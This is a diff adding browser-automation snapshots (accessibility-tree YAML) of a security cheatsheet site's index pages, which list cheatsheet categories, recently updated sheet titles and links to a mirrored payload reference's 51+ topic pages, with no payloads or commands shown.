+          - generic [ref=f3e350]: 3 sheets
+        - link "WEB 06 Web XSS, injection, and web application testing. 9 sheets" [ref=f3e353] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/web
+          - generic [ref=f3e354]:
+            - generic [ref=f3e355]: WEB
+            - generic [ref=f3e356]: "06"
+          - heading "Web" [level=3] [ref=f3e357]
+          - paragraph [ref=f3e358]: XSS, injection, and web application testing.
+          - generic [ref=f3e359]: 9 sheets
+        - link "PIVOT 07 Tunneling & Pivoting Moving through segmented networks and double pivots. 6 sheets" [ref=f3e362] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tunneling-pivoting
+          - generic [ref=f3e363]:
+            - generic [ref=f3e364]: PIVOT
+            - generic [ref=f3e365]: "07"
+          - heading "Tunneling & Pivoting" [level=3] [ref=f3e366]
+          - paragraph [ref=f3e367]: Moving through segmented networks and double pivots.
+          - generic [ref=f3e368]: 6 sheets
+        - link "CRYPTO 08 Cryptography Hashing, encryption, GPG, and key handling. 3 sheets" [ref=f3e371] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/cryptography
+          - generic [ref=f3e372]:
+            - generic [ref=f3e373]: CRYPTO
+            - generic [ref=f3e374]: "08"
+          - heading "Cryptography" [level=3] [ref=f3e375]
+          - paragraph [ref=f3e376]: Hashing, encryption, GPG, and key handling.
+          - generic [ref=f3e377]: 3 sheets
+        - link "DFIR 09 DFIR Forensics, memory, and registry analysis. 4 sheets" [ref=f3e380] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/dfir
+          - generic [ref=f3e381]:
+            - generic [ref=f3e382]: DFIR
+            - generic [ref=f3e383]: "09"
+          - heading "DFIR" [level=3] [ref=f3e384]
+          - paragraph [ref=f3e385]: Forensics, memory, and registry analysis.
+          - generic [ref=f3e386]: 4 sheets
+        - link "TOOL 10 Tools General-purpose offensive tooling and multiplexers. 18 sheets" [ref=f3e389] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tools
+          - generic [ref=f3e390]:
+            - generic [ref=f3e391]: TOOL
+            - generic [ref=f3e392]: "10"
+          - heading "Tools" [level=3] [ref=f3e393]
+          - paragraph [ref=f3e394]: General-purpose offensive tooling and multiplexers.
+          - generic [ref=f3e395]: 18 sheets
+        - link "NIX 11 Linux & IT Shell, filesystem, and everyday IT fundamentals. 9 sheets" [ref=f3e398] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/linux-it
+          - generic [ref=f3e399]:
+            - generic [ref=f3e400]: NIX
+            - generic [ref=f3e401]: "11"
+          - heading "Linux & IT" [level=3] [ref=f3e402]
+          - paragraph [ref=f3e403]: Shell, filesystem, and everyday IT fundamentals.
+          - generic [ref=f3e404]: 9 sheets
+        - link "GIT 12 Git & Workflow Version control and operator workflow. 5 sheets" [ref=f3e407] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/git-workflow
+          - generic [ref=f3e408]:
+            - generic [ref=f3e409]: GIT
+            - generic [ref=f3e410]: "12"
+          - heading "Git & Workflow" [level=3] [ref=f3e411]
+          - paragraph [ref=f3e412]: Version control and operator workflow.
+          - generic [ref=f3e413]: 5 sheets
+    - link [ref=f3e416] [cursor=pointer]:
+      - /url: /daemon-sec-cheatsheet/payloads
+      - generic [ref=f3e417]:
+        - generic [ref=f3e418]:
+          - paragraph [ref=f3e419]: "02 ^: Full mirror Β· MIT"
+          - heading "PayloadsAllTheThings" [level=2] [ref=f3e420]
+          - paragraph [ref=f3e421]:
+            - text: The complete 64-topic, 135-page payload and bypass reference by
+            - strong [ref=f3e422]: swisskyrepo
+            - text: β€” mirrored on-site, fully searchable, every page linked back to source.
+        - generic [ref=f3e423]: Browse payloads
+    - generic [ref=f3e427]:
+      - generic [ref=f3e428]:
+        - generic [ref=f3e429]:
+          - paragraph [ref=f3e430]:
+            - generic [ref=f3e431]: "03"
+            - generic [ref=f3e432]: "^:"
+            - generic [ref=f3e433]: Freshly modernized
+          - heading "Recently updated" [level=2] [ref=f3e435]
+        - link "All tags" [ref=f3e436] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+      - generic [ref=f3e439]:
+        - link "01 ENUM 2.4 - Cheatsheet - Gitleaks 2026-08-10" [ref=f3e440] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-4-cheatsheet-gitleaks
+          - generic [ref=f3e441]:
+            - generic [ref=f3e442]: "01"
+            - generic [ref=f3e443]: ENUM
+            - generic [ref=f3e447]: 2.4 - Cheatsheet - Gitleaks
+            - generic [ref=f3e448]: 2026-08-10
+        - link "02 ENUM 2.5 - Cheatsheet - TruffleHog 2026-08-10" [ref=f3e452] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-5-cheatsheet-trufflehog
+          - generic [ref=f3e453]:
+            - generic [ref=f3e454]: "02"
+            - generic [ref=f3e455]: ENUM
+            - generic [ref=f3e459]: 2.5 - Cheatsheet - TruffleHog
+            - generic [ref=f3e460]: 2026-08-10
+        - link "03 AD Active-Directory_cheat_sheet 2026-08-10" [ref=f3e464] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/active-directory-cheat-sheet
+          - generic [ref=f3e465]:
+            - generic [ref=f3e466]: "03"
+            - generic [ref=f3e467]: AD
+            - generic [ref=f3e471]: Active-Directory_cheat_sheet
+            - generic [ref=f3e472]: 2026-08-10
+        - link "04 ENUM Anonymous Null Testing 2026-08-10" [ref=f3e476] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/anonymous-null-testing
+          - generic [ref=f3e477]:
+            - generic [ref=f3e478]: "04"
+            - generic [ref=f3e479]: ENUM
+            - generic [ref=f3e483]: Anonymous Null Testing
+            - generic [ref=f3e484]: 2026-08-10
+        - 'link "05 AD Attack #1 β€” Password Spraying 2026-08-10" [ref=f3e488] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-1-password-spraying
+          - generic [ref=f3e489]:
+            - generic [ref=f3e490]: "05"
+            - generic [ref=f3e491]: AD
+            - generic [ref=f3e495]: "Attack #1 β€” Password Spraying"
+            - generic [ref=f3e496]: 2026-08-10
+        - 'link "06 AD Attack #10 β€” Credential Hunting in Shares GPP Passwords 2026-08-10" [ref=f3e500] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-10-credential-hunting-in-shares-gpp-passwords
+          - generic [ref=f3e501]:
+            - generic [ref=f3e502]: "06"
+            - generic [ref=f3e503]: AD
+            - generic [ref=f3e507]: "Attack #10 β€” Credential Hunting in Shares GPP Passwords"
+            - generic [ref=f3e508]: 2026-08-10
+        - 'link "07 AD Attack #11 β€” Golden Ticket Attack 2026-08-10" [ref=f3e512] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-11-golden-ticket-attack
+          - generic [ref=f3e513]:
+            - generic [ref=f3e514]: "07"
+            - generic [ref=f3e515]: AD
+            - generic [ref=f3e519]: "Attack #11 β€” Golden Ticket Attack"
+            - generic [ref=f3e520]: 2026-08-10
+        - 'link "08 AD Attack #12 β€” Silver Ticket Attack 2026-08-10" [ref=f3e524] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-12-silver-ticket-attack
+          - generic [ref=f3e525]:
+            - generic [ref=f3e526]: "08"
+            - generic [ref=f3e527]: AD
+            - generic [ref=f3e531]: "Attack #12 β€” Silver Ticket Attack"
+            - generic [ref=f3e532]: 2026-08-10
+  - contentinfo [ref=f3e536]:
+    - generic [ref=f3e537]:
+      - generic [ref=f3e538]:
+        - link "DÆMON // SEC" [ref=f3e539] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=f3e540]: //
+          - text: SEC
+        - paragraph [ref=f3e541]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=f3e542]:
+        - link "daemon-404.github.io β†—" [ref=f3e543] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "github / daemon-sec-cheatsheet β†—" [ref=f3e544] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=f3e545]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=f3e546] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=f3e547] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=f3e548]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=f3e549]: RosΓ© Pine Β· Astro Β· Pagefind
+\ No newline at end of file
diff --git a/.playwright-mcp/page-2026-08-10T08-05-46-725Z.yml b/.playwright-mcp/page-2026-08-10T08-05-46-725Z.yml
@@ -0,0 +1,546 @@
+- generic [active] [ref=f3e550]:
+  - banner [ref=f3e551]:
+    - generic [ref=f3e552]:
+      - link "DÆMON//SEC home" [ref=f3e553] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=f3e554]: //
+        - text: SEC
+        - generic [ref=f3e555]: _
+      - navigation "Primary" [ref=f3e556]:
+        - link "01 Vault" [ref=f3e557] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=f3e558]: "01"
+          - generic [ref=f3e559]: Vault
+        - link "02 Payloads" [ref=f3e560] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=f3e561]: "02"
+          - generic [ref=f3e562]: Payloads
+        - link "03 Tags" [ref=f3e563] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=f3e564]: "03"
+          - generic [ref=f3e565]: Tags
+        - link "04 Credits" [ref=f3e566] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=f3e567]: "04"
+          - generic [ref=f3e568]: Credits
+      - generic [ref=f3e569]:
+        - button "Search cheatsheets" [ref=f3e570] [cursor=pointer]:
+          - generic [ref=f3e573]: Search
+          - generic [ref=f3e574]: /
+        - button "Toggle theme" [ref=f3e575] [cursor=pointer]
+        - link "DÆMON main site" [ref=f3e580] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=f3e583] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=f3e586]:
+    - generic [ref=f3e589]:
+      - generic [ref=f3e590]:
+        - paragraph [ref=f3e591]:
+          - generic [ref=f3e592]: "02"
+          - generic [ref=f3e593]: "^:"
+          - generic [ref=f3e594]: Full mirror Β· MIT
+        - heading "PayloadsAllTheThings" [level=1] [ref=f3e596]
+        - paragraph [ref=f3e597]: A complete on-site mirror of swisskyrepo's payload and bypass reference β€” searchable offline, every page linked back to source.
+      - generic [ref=f3e598]:
+        - generic [ref=f3e599]:
+          - term [ref=f3e600]: Topics
+          - definition [ref=f3e601]: "64"
+        - generic [ref=f3e602]:
+          - term [ref=f3e603]: Pages
+          - definition [ref=f3e604]: "135"
+        - generic [ref=f3e605]:
+          - term [ref=f3e606]: License
+          - definition [ref=f3e607]: MIT
+    - generic [ref=f3e608]:
+      - navigation [ref=f3e609]:
+        - link "~" [ref=f3e610] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+        - generic [ref=f3e611]: /
+        - generic [ref=f3e612]: payloads
+      - complementary [ref=f3e613]:
+        - generic [ref=f3e614]: mirror
+        - generic [ref=f3e615]:
+          - text: Mirrored verbatim from the upstream repo. Images and raw payload files load from GitHub; see each page's
+          - emphasis [ref=f3e616]: source
+          - text: link.
+          - generic [ref=f3e617]:
+            - text: MIT Β·
+            - link "full credits & license" [ref=f3e618] [cursor=pointer]:
+              - /url: /daemon-sec-cheatsheet/credits
+            - text: Β·
+            - code [ref=f3e619]: 3bff425
+        - link "upstream" [ref=f3e620] [cursor=pointer]:
+          - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+      - generic [ref=f3e622]:
+        - link "01 payload Account Takeover 2 pages" [ref=f3e623] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/account-takeover
+          - generic [ref=f3e624]:
+            - generic [ref=f3e625]: "01"
+            - generic [ref=f3e626]: payload
+            - generic [ref=f3e630]: Account Takeover
+            - generic [ref=f3e631]: 2 pages
+        - link "02 payload API Key Leaks 2 pages" [ref=f3e635] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/api-key-leaks
+          - generic [ref=f3e636]:
+            - generic [ref=f3e637]: "02"
+            - generic [ref=f3e638]: payload
+            - generic [ref=f3e642]: API Key Leaks
+            - generic [ref=f3e643]: 2 pages
+        - link "03 payload Brute Force Rate Limit 1 page" [ref=f3e647] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/brute-force-rate-limit
+          - generic [ref=f3e648]:
+            - generic [ref=f3e649]: "03"
+            - generic [ref=f3e650]: payload
+            - generic [ref=f3e654]: Brute Force Rate Limit
+            - generic [ref=f3e655]: 1 page
+        - link "04 payload Business Logic Errors 1 page" [ref=f3e659] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/business-logic-errors
+          - generic [ref=f3e660]:
+            - generic [ref=f3e661]: "04"
+            - generic [ref=f3e662]: payload
+            - generic [ref=f3e666]: Business Logic Errors
+            - generic [ref=f3e667]: 1 page
+        - link "05 payload Clickjacking 1 page" [ref=f3e671] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/clickjacking
+          - generic [ref=f3e672]:
+            - generic [ref=f3e673]: "05"
+            - generic [ref=f3e674]: payload
+            - generic [ref=f3e678]: Clickjacking
+            - generic [ref=f3e679]: 1 page
+        - link "06 payload Client Side Path Traversal 1 page" [ref=f3e683] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/client-side-path-traversal
+          - generic [ref=f3e684]:
+            - generic [ref=f3e685]: "06"
+            - generic [ref=f3e686]: payload
+            - generic [ref=f3e690]: Client Side Path Traversal
+            - generic [ref=f3e691]: 1 page
+        - link "07 payload Command Injection 1 page" [ref=f3e695] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/command-injection
+          - generic [ref=f3e696]:
+            - generic [ref=f3e697]: "07"
+            - generic [ref=f3e698]: payload
+            - generic [ref=f3e702]: Command Injection
+            - generic [ref=f3e703]: 1 page
+        - link "08 payload CORS Misconfiguration 1 page" [ref=f3e707] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/cors-misconfiguration
+          - generic [ref=f3e708]:
+            - generic [ref=f3e709]: "08"
+            - generic [ref=f3e710]: payload
+            - generic [ref=f3e714]: CORS Misconfiguration
+            - generic [ref=f3e715]: 1 page
+        - link "09 payload CRLF Injection 1 page" [ref=f3e719] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/crlf-injection
+          - generic [ref=f3e720]:
+            - generic [ref=f3e721]: "09"
+            - generic [ref=f3e722]: payload
+            - generic [ref=f3e726]: CRLF Injection
+            - generic [ref=f3e727]: 1 page
+        - link "10 payload Cross-Site Request Forgery 1 page" [ref=f3e731] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/cross-site-request-forgery
+          - generic [ref=f3e732]:
+            - generic [ref=f3e733]: "10"
+            - generic [ref=f3e734]: payload
+            - generic [ref=f3e738]: Cross-Site Request Forgery
+            - generic [ref=f3e739]: 1 page
+        - link "11 payload CSS Injection 1 page" [ref=f3e743] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/css-injection
+          - generic [ref=f3e744]:
+            - generic [ref=f3e745]: "11"
+            - generic [ref=f3e746]: payload
+            - generic [ref=f3e750]: CSS Injection
+            - generic [ref=f3e751]: 1 page
+        - link "12 payload CSV Injection 1 page" [ref=f3e755] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/csv-injection
+          - generic [ref=f3e756]:
+            - generic [ref=f3e757]: "12"
+            - generic [ref=f3e758]: payload
+            - generic [ref=f3e762]: CSV Injection
+            - generic [ref=f3e763]: 1 page
+        - link "13 payload CVE Exploits 2 pages" [ref=f3e767] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/cve-exploits
+          - generic [ref=f3e768]:
+            - generic [ref=f3e769]: "13"
+            - generic [ref=f3e770]: payload
+            - generic [ref=f3e774]: CVE Exploits
+            - generic [ref=f3e775]: 2 pages
+        - link "14 payload Denial of Service 1 page" [ref=f3e779] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/denial-of-service
+          - generic [ref=f3e780]:
+            - generic [ref=f3e781]: "14"
+            - generic [ref=f3e782]: payload
+            - generic [ref=f3e786]: Denial of Service
+            - generic [ref=f3e787]: 1 page
+        - link "15 payload Dependency Confusion 1 page" [ref=f3e791] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/dependency-confusion
+          - generic [ref=f3e792]:
+            - generic [ref=f3e793]: "15"
+            - generic [ref=f3e794]: payload
+            - generic [ref=f3e798]: Dependency Confusion
+            - generic [ref=f3e799]: 1 page
+        - link "16 payload Directory Traversal 1 page" [ref=f3e803] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/directory-traversal
+          - generic [ref=f3e804]:
+            - generic [ref=f3e805]: "16"
+            - generic [ref=f3e806]: payload
+            - generic [ref=f3e810]: Directory Traversal
+            - generic [ref=f3e811]: 1 page
+        - link "17 payload DNS Rebinding 1 page" [ref=f3e815] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/dns-rebinding
+          - generic [ref=f3e816]:
+            - generic [ref=f3e817]: "17"
+            - generic [ref=f3e818]: payload
+            - generic [ref=f3e822]: DNS Rebinding
+            - generic [ref=f3e823]: 1 page
+        - link "18 payload DOM Clobbering 1 page" [ref=f3e827] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/dom-clobbering
+          - generic [ref=f3e828]:
+            - generic [ref=f3e829]: "18"
+            - generic [ref=f3e830]: payload
+            - generic [ref=f3e834]: DOM Clobbering
+            - generic [ref=f3e835]: 1 page
+        - link "19 payload Encoding Transformations 1 page" [ref=f3e839] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/encoding-transformations
+          - generic [ref=f3e840]:
+            - generic [ref=f3e841]: "19"
+            - generic [ref=f3e842]: payload
+            - generic [ref=f3e846]: Encoding Transformations
+            - generic [ref=f3e847]: 1 page
+        - link "20 payload External Variable Modification 1 page" [ref=f3e851] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/external-variable-modification
+          - generic [ref=f3e852]:
+            - generic [ref=f3e853]: "20"
+            - generic [ref=f3e854]: payload
+            - generic [ref=f3e858]: External Variable Modification
+            - generic [ref=f3e859]: 1 page
+        - link "21 payload File Inclusion 3 pages" [ref=f3e863] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/file-inclusion
+          - generic [ref=f3e864]:
+            - generic [ref=f3e865]: "21"
+            - generic [ref=f3e866]: payload
+            - generic [ref=f3e870]: File Inclusion
+            - generic [ref=f3e871]: 3 pages
+        - link "22 payload Google Web Toolkit 1 page" [ref=f3e875] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/google-web-toolkit
+          - generic [ref=f3e876]:
+            - generic [ref=f3e877]: "22"
+            - generic [ref=f3e878]: payload
+            - generic [ref=f3e882]: Google Web Toolkit
+            - generic [ref=f3e883]: 1 page
+        - link "23 payload GraphQL Injection 1 page" [ref=f3e887] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/graphql-injection
+          - generic [ref=f3e888]:
+            - generic [ref=f3e889]: "23"
+            - generic [ref=f3e890]: payload
+            - generic [ref=f3e894]: GraphQL Injection
+            - generic [ref=f3e895]: 1 page
+        - link "24 payload Headless Browser 1 page" [ref=f3e899] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/headless-browser
+          - generic [ref=f3e900]:
+            - generic [ref=f3e901]: "24"
+            - generic [ref=f3e902]: payload
+            - generic [ref=f3e906]: Headless Browser
+            - generic [ref=f3e907]: 1 page
+        - link "25 payload Hidden Parameters 1 page" [ref=f3e911] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/hidden-parameters
+          - generic [ref=f3e912]:
+            - generic [ref=f3e913]: "25"
+            - generic [ref=f3e914]: payload
+            - generic [ref=f3e918]: Hidden Parameters
+            - generic [ref=f3e919]: 1 page
+        - link "26 payload HTTP Parameter Pollution 1 page" [ref=f3e923] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/http-parameter-pollution
+          - generic [ref=f3e924]:
+            - generic [ref=f3e925]: "26"
+            - generic [ref=f3e926]: payload
+            - generic [ref=f3e930]: HTTP Parameter Pollution
+            - generic [ref=f3e931]: 1 page
+        - link "27 payload Insecure Deserialization 7 pages" [ref=f3e935] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-deserialization
+          - generic [ref=f3e936]:
+            - generic [ref=f3e937]: "27"
+            - generic [ref=f3e938]: payload
+            - generic [ref=f3e942]: Insecure Deserialization
+            - generic [ref=f3e943]: 7 pages
+        - link "28 payload Insecure Direct Object References 1 page" [ref=f3e947] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-direct-object-references
+          - generic [ref=f3e948]:
+            - generic [ref=f3e949]: "28"
+            - generic [ref=f3e950]: payload
+            - generic [ref=f3e954]: Insecure Direct Object References
+            - generic [ref=f3e955]: 1 page
+        - link "29 payload Insecure Management Interface 1 page" [ref=f3e959] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-management-interface
+          - generic [ref=f3e960]:
+            - generic [ref=f3e961]: "29"
+            - generic [ref=f3e962]: payload
+            - generic [ref=f3e966]: Insecure Management Interface
+            - generic [ref=f3e967]: 1 page
+        - link "30 payload Insecure Randomness 1 page" [ref=f3e971] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-randomness
+          - generic [ref=f3e972]:
+            - generic [ref=f3e973]: "30"
+            - generic [ref=f3e974]: payload
+            - generic [ref=f3e978]: Insecure Randomness
+            - generic [ref=f3e979]: 1 page
+        - link "31 payload Insecure Source Code Management 5 pages" [ref=f3e983] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-source-code-management
+          - generic [ref=f3e984]:
+            - generic [ref=f3e985]: "31"
+            - generic [ref=f3e986]: payload
+            - generic [ref=f3e990]: Insecure Source Code Management
+            - generic [ref=f3e991]: 5 pages
+        - link "32 payload Java RMI 1 page" [ref=f3e995] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/java-rmi
+          - generic [ref=f3e996]:
+            - generic [ref=f3e997]: "32"
+            - generic [ref=f3e998]: payload
+            - generic [ref=f3e1002]: Java RMI
+            - generic [ref=f3e1003]: 1 page
+        - link "33 payload JSON Web Token 1 page" [ref=f3e1007] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/json-web-token
+          - generic [ref=f3e1008]:
+            - generic [ref=f3e1009]: "33"
+            - generic [ref=f3e1010]: payload
+            - generic [ref=f3e1014]: JSON Web Token
+            - generic [ref=f3e1015]: 1 page
+        - link "34 payload LaTeX Injection 1 page" [ref=f3e1019] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/latex-injection
+          - generic [ref=f3e1020]:
+            - generic [ref=f3e1021]: "34"
+            - generic [ref=f3e1022]: payload
+            - generic [ref=f3e1026]: LaTeX Injection
+            - generic [ref=f3e1027]: 1 page
+        - link "35 payload LDAP Injection 1 page" [ref=f3e1031] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/ldap-injection
+          - generic [ref=f3e1032]:
+            - generic [ref=f3e1033]: "35"
+            - generic [ref=f3e1034]: payload
+            - generic [ref=f3e1038]: LDAP Injection
+            - generic [ref=f3e1039]: 1 page
+        - link "36 payload Mass Assignment 1 page" [ref=f3e1043] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/mass-assignment
+          - generic [ref=f3e1044]:
+            - generic [ref=f3e1045]: "36"
+            - generic [ref=f3e1046]: payload
+            - generic [ref=f3e1050]: Mass Assignment
+            - generic [ref=f3e1051]: 1 page
+        - link "37 payload Methodology and Resources 33 pages" [ref=f3e1055] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/methodology-and-resources
+          - generic [ref=f3e1056]:
+            - generic [ref=f3e1057]: "37"
+            - generic [ref=f3e1058]: payload
+            - generic [ref=f3e1062]: Methodology and Resources
+            - generic [ref=f3e1063]: 33 pages
+        - link "38 payload NoSQL Injection 1 page" [ref=f3e1067] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/nosql-injection
+          - generic [ref=f3e1068]:
+            - generic [ref=f3e1069]: "38"
+            - generic [ref=f3e1070]: payload
+            - generic [ref=f3e1074]: NoSQL Injection
+            - generic [ref=f3e1075]: 1 page
+        - link "39 payload OAuth Misconfiguration 1 page" [ref=f3e1079] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/oauth-misconfiguration
+          - generic [ref=f3e1080]:
+            - generic [ref=f3e1081]: "39"
+            - generic [ref=f3e1082]: payload
+            - generic [ref=f3e1086]: OAuth Misconfiguration
+            - generic [ref=f3e1087]: 1 page
+        - link "40 payload Open Redirect 1 page" [ref=f3e1091] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/open-redirect
+          - generic [ref=f3e1092]:
+            - generic [ref=f3e1093]: "40"
+            - generic [ref=f3e1094]: payload
+            - generic [ref=f3e1098]: Open Redirect
+            - generic [ref=f3e1099]: 1 page
+        - link "41 payload ORM Leak 1 page" [ref=f3e1103] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/orm-leak
+          - generic [ref=f3e1104]:
+            - generic [ref=f3e1105]: "41"
+            - generic [ref=f3e1106]: payload
+            - generic [ref=f3e1110]: ORM Leak
+            - generic [ref=f3e1111]: 1 page
+        - link "42 payload Prompt Injection 1 page" [ref=f3e1115] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/prompt-injection
+          - generic [ref=f3e1116]:
+            - generic [ref=f3e1117]: "42"
+            - generic [ref=f3e1118]: payload
+            - generic [ref=f3e1122]: Prompt Injection
+            - generic [ref=f3e1123]: 1 page
+        - link "43 payload Prototype Pollution 1 page" [ref=f3e1127] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/prototype-pollution
+          - generic [ref=f3e1128]:
+            - generic [ref=f3e1129]: "43"
+            - generic [ref=f3e1130]: payload
+            - generic [ref=f3e1134]: Prototype Pollution
+            - generic [ref=f3e1135]: 1 page
+        - link "44 payload Race Condition 1 page" [ref=f3e1139] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/race-condition
+          - generic [ref=f3e1140]:
+            - generic [ref=f3e1141]: "44"
+            - generic [ref=f3e1142]: payload
+            - generic [ref=f3e1146]: Race Condition
+            - generic [ref=f3e1147]: 1 page
+        - link "45 payload Regular Expression 1 page" [ref=f3e1151] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/regular-expression
+          - generic [ref=f3e1152]:
+            - generic [ref=f3e1153]: "45"
+            - generic [ref=f3e1154]: payload
+            - generic [ref=f3e1158]: Regular Expression
+            - generic [ref=f3e1159]: 1 page
+        - link "46 payload Request Smuggling 1 page" [ref=f3e1163] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/request-smuggling
+          - generic [ref=f3e1164]:
+            - generic [ref=f3e1165]: "46"
+            - generic [ref=f3e1166]: payload
+            - generic [ref=f3e1170]: Request Smuggling
+            - generic [ref=f3e1171]: 1 page
+        - link "47 payload Reverse Proxy Misconfigurations 1 page" [ref=f3e1175] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/reverse-proxy-misconfigurations
+          - generic [ref=f3e1176]:
+            - generic [ref=f3e1177]: "47"
+            - generic [ref=f3e1178]: payload
+            - generic [ref=f3e1182]: Reverse Proxy Misconfigurations
+            - generic [ref=f3e1183]: 1 page
+        - link "48 payload SAML Injection 1 page" [ref=f3e1187] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/saml-injection
+          - generic [ref=f3e1188]:
+            - generic [ref=f3e1189]: "48"
+            - generic [ref=f3e1190]: payload
+            - generic [ref=f3e1194]: SAML Injection
+            - generic [ref=f3e1195]: 1 page
+        - link "49 payload Server Side Include Injection 1 page" [ref=f3e1199] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/server-side-include-injection
+          - generic [ref=f3e1200]:
+            - generic [ref=f3e1201]: "49"
+            - generic [ref=f3e1202]: payload
+            - generic [ref=f3e1206]: Server Side Include Injection
+            - generic [ref=f3e1207]: 1 page
+        - link "50 payload Server Side Request Forgery 3 pages" [ref=f3e1211] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/server-side-request-forgery
+          - generic [ref=f3e1212]:
+            - generic [ref=f3e1213]: "50"
+            - generic [ref=f3e1214]: payload
+            - generic [ref=f3e1218]: Server Side Request Forgery
+            - generic [ref=f3e1219]: 3 pages
+        - link "51 payload Server Side Template Injection 8 pages" [ref=f3e1223] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/server-side-template-injection
+          - generic [ref=f3e1224]:
+            - generic [ref=f3e1225]: "51"
+            - generic [ref=f3e1226]: payload
+            - generic [ref=f3e1230]: Server Side Template Injection
+            - generic [ref=f3e1231]: 8 pages
